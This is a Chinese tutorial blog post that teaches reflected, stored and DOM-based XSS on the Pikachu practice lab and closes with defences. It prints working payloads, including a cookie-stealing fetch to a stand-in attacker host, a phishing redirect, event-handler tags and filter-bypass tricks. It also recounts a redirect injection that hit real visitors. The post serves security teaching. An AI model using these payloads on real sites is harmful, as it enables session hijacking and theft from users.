三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

别再死记硬背了!用Pikachu靶场实战,手把手教你理解XSS攻击的5种触发方式

别再死记硬背了!用Pikachu靶场实战,手把手教你理解XSS攻击的5种触发方式

从Pikachu靶场实战看XSS攻击:5种触发方式的深度解析

第一次接触XSS漏洞时,你是否也被各种类型搞得晕头转向?反射型、存储型、DOM型...这些名词看起来相似,实际触发机制却大不相同。本文将带你通过Pikachu靶场这个绝佳的学习平台,亲手操作每种XSS攻击,观察它们从输入到触发的完整生命周期。告别枯燥的概念背诵,我们将用实验的方式,建立起对XSS攻击的立体认知。

1. 实验环境搭建与基础概念

在开始实战前,我们需要先准备好实验环境。Pikachu靶场是一个专门为Web安全学习设计的漏洞演练平台,内置了各种常见漏洞的演示场景,特别适合新手入门。

环境准备步骤:

  1. 下载Pikachu靶场源码(可从GitHub官方仓库获取)
  2. 配置PHP环境(推荐使用XAMPP或WAMP集成环境)
  3. 将Pikachu部署到本地服务器
  4. 访问http://localhost/pikachu即可开始实验

XSS(跨站脚本攻击)本质上是一种代码注入技术,攻击者通过在网页中注入恶意脚本,当其他用户浏览该页面时,脚本就会在用户浏览器中执行。根据触发方式的不同,XSS主要分为三类:

类型触发特点持久性典型场景
反射型恶意脚本来自当前HTTP请求非持久钓鱼邮件中的恶意链接
存储型恶意脚本存储在服务器持久论坛评论、用户资料
DOM型由客户端JS动态生成视情况而定单页应用、前端路由

提示:在实验过程中,建议使用Chrome浏览器的开发者工具(F12),随时查看网络请求和页面DOM变化。

2. 反射型XSS:一次性的钓鱼陷阱

反射型XSS是最常见的一种形式,它的特点是恶意脚本来自当前的HTTP请求,服务器只是简单地将攻击者提供的数据"反射"回浏览器。让我们在Pikachu靶场中实际操作一下。

实验步骤:

  1. 访问反射型XSS测试页面
  2. 在输入框中尝试基本payload:
    <script>alert('XSS')</script>
  3. 观察弹窗效果

当这个payload被提交后,服务器会将其直接嵌入到返回的HTML中,浏览器解析时就会执行这段脚本。但在实际攻击中,攻击者往往会将恶意代码隐藏在URL参数中,然后诱导用户点击:

http://vulnerable-site.com/search?q=<script>alert('XSS')</script>

进阶实验:

  • 尝试使用不同的HTML标签和事件触发XSS
  • 测试过滤规则的绕过方法(如大小写混淆、双重编码)
  • 构造窃取cookie的实际攻击payload
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

3. 存储型XSS:持久化的威胁

与反射型不同,存储型XSS会将恶意代码永久保存在服务器上(如数据库),所有访问受影响页面的用户都会中招。这种类型的危害更大,我们通过Pikachu的留言板功能来演示。

实验过程记录:

  1. 访问存储型XSS测试页面(通常模拟留言板功能)
  2. 提交包含恶意脚本的留言:
    <script>alert('Stored XSS!')</script>
  3. 刷新页面或换浏览器访问,观察弹窗是否仍然存在

存储型XSS的真正威力在于它的持久性。我曾在一个测试项目中注入了一段重定向代码:

<script>window.location.href="http://phishing-site.com"</script>

结果所有访问该页面的用户都被自动跳转到了钓鱼网站。更可怕的是,即使用手机或其他设备访问,攻击依然有效。

防御思考:

  • 输入验证:过滤特殊字符
  • 输出编码:根据上下文采用HTML/URL/JavaScript编码
  • CSP策略:限制脚本执行来源

4. DOM型XSS:纯前端的漏洞

DOM型XSS比较特殊,它完全在客户端发生,不涉及服务器端的数据处理。Pikachu靶场中的DOM型XSS示例很好地展示了这种漏洞的特性。

关键分析点:

查看页面源码,你会发现类似这样的代码:

document.getElementById('output').innerHTML = 'Hello, ' + decodeURIComponent(location.hash.substring(1));

攻击者可以构造这样的URL:

http://vulnerable-site.com#<img src=x onerror=alert('XSS')>

当页面加载时,hash部分的内容会被取出并直接插入到DOM中,触发XSS。

DOM型XSS的独特挑战:

  • 传统WAF难以检测(不经过服务器)
  • 依赖前端框架的编码方式
  • 动态内容生成难以追踪

实验时尝试修改以下部分,观察不同效果:

  • 使用#还是?参数
  • 尝试不同的DOM操作API(innerHTML vs textContent)
  • 测试各种事件处理器的触发条件

5. 高级技巧与实战payload

掌握了基本类型后,让我们看看实际攻击中常用的高级技巧。Pikachu靶场虽然简单,但已经包含了足够多的实验场景。

常用标签与事件大全:

标签示例payload触发条件
<img><img src=x onerror=alert(1)>图片加载失败
<svg><svg onload=alert(1)>SVG加载完成
<a><a href=javascript:alert(1)>点击</a>点击链接
<iframe><iframe src=javascript:alert(1)>框架加载
<body><body onload=alert(1)>页面加载

绕过过滤的实用技巧:

  • 使用HTML实体编码:&lt;script&gt;<script>
  • 利用JavaScript伪协议:javascript:alert(1)
  • 拆分字符串:<img src=x onerror="al"+"ert(1)">
  • 利用eval函数:<script>eval("al"+"ert(1)")</script>

在真实环境中,XSS攻击往往会结合其他技术:

  • 窃取cookie实现会话劫持
  • 记录键盘输入获取敏感信息
  • 发起CSRF攻击执行特权操作
  • 配合漏洞框架获取系统权限

6. 从攻击到防御的思维转变

理解了各种XSS的攻击方式后,我们应该转向防御者的视角。在Pikachu靶场的每个实验后,不妨思考:

  1. 这个漏洞是如何产生的?
  2. 开发者在哪个环节出现了疏忽?
  3. 有哪些方法可以预防此类漏洞?

防御措施分层实施:

  • 输入层

    • 白名单验证(只允许已知安全的字符)
    • 黑名单过滤(但容易被绕过)
    • 输入长度限制
  • 处理层

    • 上下文相关的输出编码
    • 使用安全的DOM API(如textContent代替innerHTML)
  • 输出层

    • 设置Content Security Policy头
    • 启用HttpOnly cookie标志
    • 实施X-XSS-Protection头

在最近的一次渗透测试中,我发现即使是最完善的过滤规则,也可能因为前后端处理不一致而被绕过。例如,后端对<script>标签进行了过滤,但前端框架却允许<img onerror=>这种形式的XSS。

← 返回列表